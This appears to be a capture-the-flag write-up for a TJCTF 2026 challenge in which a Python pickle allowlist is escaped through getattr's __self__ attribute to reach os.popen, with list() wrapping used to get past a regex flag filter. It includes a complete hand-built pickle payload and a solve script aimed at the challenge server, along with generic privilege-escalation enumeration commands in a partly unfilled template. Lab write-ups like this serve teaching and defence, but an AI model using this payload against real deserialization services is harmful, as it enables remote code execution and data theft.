← Back to Writeups
HTBN/AMisc

mind-blasters

XESXOR8/23/20267 min read
#misc#htb#n/a

mind-blasters

Platform: Tjctf 2026 | Category: Misc | Type: Challenge | Difficulty: Medium | OS: NA | Author: D3v0o0Nu11 | Date: 2026-05-15 | Status: Solved Techniques: getattr_self_to_builtins_module, list_wrapping_to_bypass_regex_filter, object_graph_traversal_via_getattr, pickle_bytecode_crafting

Summary

Task: Python pickle deserialization server with RestrictedUnpickler using a strict allowlist of 14 builtins, plus regex output filter stripping flag pattern. Solution: getattr(getattr, 'self') returns the builtins module, enabling import → os.popen chain; list() wrapping bypasses the regex filter.

Recon

Port scan

nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
PortServiceVersionNotes
<PORT><SVC><VER><notes>

Enumeration highlights

  • Event: TJCTF 2026 | ID: 20260515_tjctf_mind_blasters
  • Tags: rce, sandbox_escape, python, pickle, deserialization, regex_bypass, output_filter_bypass, restricted_unpickler, getattr_chain, allowlist_bypass
  • Indicators: RestrictedUnpickler with allowlist (not blocklist) — only specific builtins permitted, getattr is in the allowed set — enables arbitrary attribute access at runtime, Output filtered with regex re.sub(r'tjctf\{[^}]*\}', '[REDACTED]', result_str), Server accepts base64-encoded pickle data and returns str(result), builtins-only module restriction in find_class
  • Source: 20260515_tjctf_mind_blasters.md

Foothold

Vulnerability / Misconfiguration

  1. Getattr_self_to_builtins_module
  2. List_wrapping_to_bypass_regex_filter
  3. Object_graph_traversal_via_getattr
  4. Pickle_bytecode_crafting
<command>

Exploitation

  • See original writeup content for detailed exploitation.

Privilege Escalation

Enumeration

sudo -l
find / -perm -4000 2>/dev/null
getcap -r / 2>/dev/null
cat /etc/crontab
ps aux

Exploitation

  1. N/A for challenge-type writeup; see exploitation above.
  2. Flag obtained via challenge solve.
<command>

Flags

FlagLocationValue
flagREDACTED

Key Takeaways / Lessons

  • getattr_self_to_builtins_module
  • list_wrapping_to_bypass_regex_filter
  • object_graph_traversal_via_getattr
  • pickle_bytecode_crafting
  • Tags: rce, sandbox_escape, python, pickle, deserialization, regex_bypass, output_filter_bypass, restricted_unpickler, getattr_chain, allowlist_bypass

Original Writeup

<details><summary>Click to expand original content</summary>

Description

Rick's Mind Blows are now protected by a blacklist! You won't be able to hack this one!

Connection: nc tjc.tf 31420 Attachment: server.py

A Python server accepts base64-encoded pickle data and deserializes it using a RestrictedUnpickler with a strict allowlist of only 14 builtins. The deserialized result is converted to a string and returned, but any flag pattern matching tjctf{...} is redacted before output. The goal is to achieve RCE and exfiltrate the flag despite both restrictions.

Analysis

RestrictedUnpickler — Allowlist Model

Unlike the companion challenge "mind blowers" (which uses a blocklist), this challenge uses a strict allowlist. The find_class method only permits loading names from the builtins module that appear in the ALLOWED set:

ALLOWED = {
    'type', 'getattr', 'len', 'range',
    'str', 'int', 'bytes', 'list', 'dict',
    'tuple', 'bool', 'set', 'frozenset', 'bytearray',
}

class RestrictedUnpickler(pickle.Unpickler):
    def find_class(self, module, name):
        if module == 'builtins' and name in ALLOWED:
            return getattr(builtins, name)
        raise pickle.UnpicklingError('not allowed')

This means:

  • Only the builtins module is accessible — no os, subprocess, importlib, etc.
  • Only 14 specific names are allowed — no eval, exec, __import__, open, license, help, etc.
  • Any attempt to load a non-allowed class via pickle's GLOBAL/STACK_GLOBAL opcodes raises UnpicklingError

Output Filter

After deserialization, the server applies a regex to strip the flag:

result_str = re.sub(r'tjctf\{[^}]*\}', '[REDACTED]', result_str)

Even if we achieve RCE and read the flag file, the output will be redacted if it contains the continuous tjctf{...} pattern.

The Critical Vulnerability: getattr.__self__

The key insight is that getattr is in the allowed set. In CPython, built-in functions (builtin_function_or_method type) have a __self__ attribute that points to the module they belong to:

>>> getattr.__self__
<module 'builtins' (built-in)>
>>> type(getattr.__self__)
<class 'module'>

So getattr(getattr, '__self__') returns the entire builtins module object — not just the 14 allowed names, but everything including __import__. This works because:

  1. getattr is loaded via find_class (passes the allowlist check)
  2. The REDUCE opcode calls getattr(getattr, '__self__') at runtime
  3. Runtime getattr calls do not go through find_class — they are normal Python attribute lookups
  4. The returned builtins module gives unrestricted access to all builtins

This is fundamentally different from the "mind blowers" approach (which uses license.__class__.__init__.__globals__) because here license is not in the allowlist — we must bootstrap from getattr alone.

Output Filter Bypass: list() Wrapping

The regex tjctf\{[^}]*\} matches a continuous flag string. By wrapping the flag in list(), the str() representation becomes:

>>> str(list("tjctf{flag}"))
"['t', 'j', 'c', 't', 'f', '{', 'f', 'l', 'a', 'g', '}']"

This list representation never contains the continuous tjctf{...} pattern, so the regex doesn't match and the output is not redacted.

Solution

Exploit Chain

The full chain, expressed as nested Python calls:

Step 1: builtins_mod = getattr(getattr, '__self__')           → builtins module
Step 2: imp          = getattr(builtins_mod, '__import__')    → __import__ function
Step 3: os_mod       = imp('os')                              → os module
Step 4: popen_fn     = getattr(os_mod, 'popen')              → os.popen function
Step 5: popen_obj    = popen_fn('cat /flag*')                 → popen file object
Step 6: read_fn      = getattr(popen_obj, 'read')            → read method
Step 7: flag_str     = read_fn()                              → flag string
Step 8: result       = list(flag_str)                         → list of chars (filter bypass)

Pickle Bytecode

The payload uses protocol 2 with manual bytecode construction. Key opcodes:

OpcodeNameEffect
\x80\x02PROTOProtocol 2 header
cGLOBALLoad builtins.getattr or builtins.list via find_class
p0PUTStore top of stack in memo slot 0
g0GETPush memo slot 0 onto stack
(MARKStart of argument tuple
V...UNICODEPush Unicode string
tTUPLEBuild tuple from mark
RREDUCECall callable with args tuple
0POPDiscard top of stack
.STOPEnd pickle stream

Solve Script

#!/usr/bin/env python3
"""
Pickle exploit for mind-blasters (TJCTF 2026)

Restricted Unpickler allows only:
  builtins: type, getattr, len, range, str, int, bytes, list, dict,
            tuple, bool, set, frozenset, bytearray

Key chain: getattr(getattr, '__self__') → builtins module → __import__ → os → popen → flag
Output filter bypass: list(flag_string) breaks the continuous tjctf{...} pattern
"""
import pickle
import pickletools
import io
import base64
import socket
import ast

def build_payload(cmd='cat /flag*'):
    """Build pickle bytecode: list(os.popen(cmd).read())"""
    p = b'\x80\x02'                          # Protocol 2

    # memo[0] = getattr
    p += b'cbuiltins\ngetattr\np0\n'

    # memo[1] = getattr(getattr, '__self__') → builtins module
    p += b'(g0\nV__self__\ntRp1\n0'

    # memo[2] = getattr(builtins, '__import__') → __import__
    p += b'g0\n(g1\nV__import__\ntRp2\n0'

    # memo[3] = __import__('os') → os module
    p += b'g2\n(Vos\ntRp3\n0'

    # memo[4] = getattr(os, 'popen') → os.popen
    p += b'g0\n(g3\nVpopen\ntRp4\n0'

    # memo[5] = os.popen('cat /flag*') → file object
    p += b'g4\n(V' + cmd.encode() + b'\ntRp5\n0'

    # memo[6] = getattr(file_obj, 'read') → read method
    p += b'g0\n(g5\nVread\ntRp6\n0'

    # memo[7] = read() → flag string
    p += b'g6\n(tRp7\n0'

    # list(flag_string) → list of chars (bypasses regex filter)
    p += b'cbuiltins\nlist\n(g7\ntR.'

    return p

payload = build_payload()
encoded = base64.b64encode(payload)

# Disassemble for verification
print("=== Pickle Disassembly ===")
pickletools.dis(io.BytesIO(payload))
print()

# Connect and send
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(30)
sock.connect(('tjc.tf', 31420))

data = b''
while b'>' not in data:
    data += sock.recv(4096)

sock.sendall(encoded + b'\n')

resp = b''
while True:
    try:
        chunk = sock.recv(4096)
        if not chunk:
            break
        resp += chunk
    except socket.timeout:
        break
sock.close()

result = resp.decode()
print(f'Response: {result}')

# Parse list of chars back to flag string
if 'Result:' in result:
    list_str = result.split('Result: ', 1)[1].strip()
    chars = ast.literal_eval(list_str)
    flag = ''.join(chars)
    print(f'\n[+] FLAG: {flag}')

Server Output

=== Rick's Mind Blaster ===
Maximum security. Nothing gets through.

Upload a mind blaster (base64 encoded) >
Result: ['t', 'j', 'c', 't', 'f', '{', 'p', '1', 'c', 'k', 'l', '3', '_', 'r', '1', 'c', 'k', '_', 'y', '0', 'u', '_', 's', '0', 'l', 'v', '3', 'd', '_', 'h', '1', 's', '_', 'c', 'h', 'A', '1', '1', '!', '}', '\n']

Reassembled: tjctf{REDACTED}

</details>

Auto-tracked: saved to WriteUps; run /xesor-revise to fold lessons into XESXor_Methodology.md.

signed by XESXOR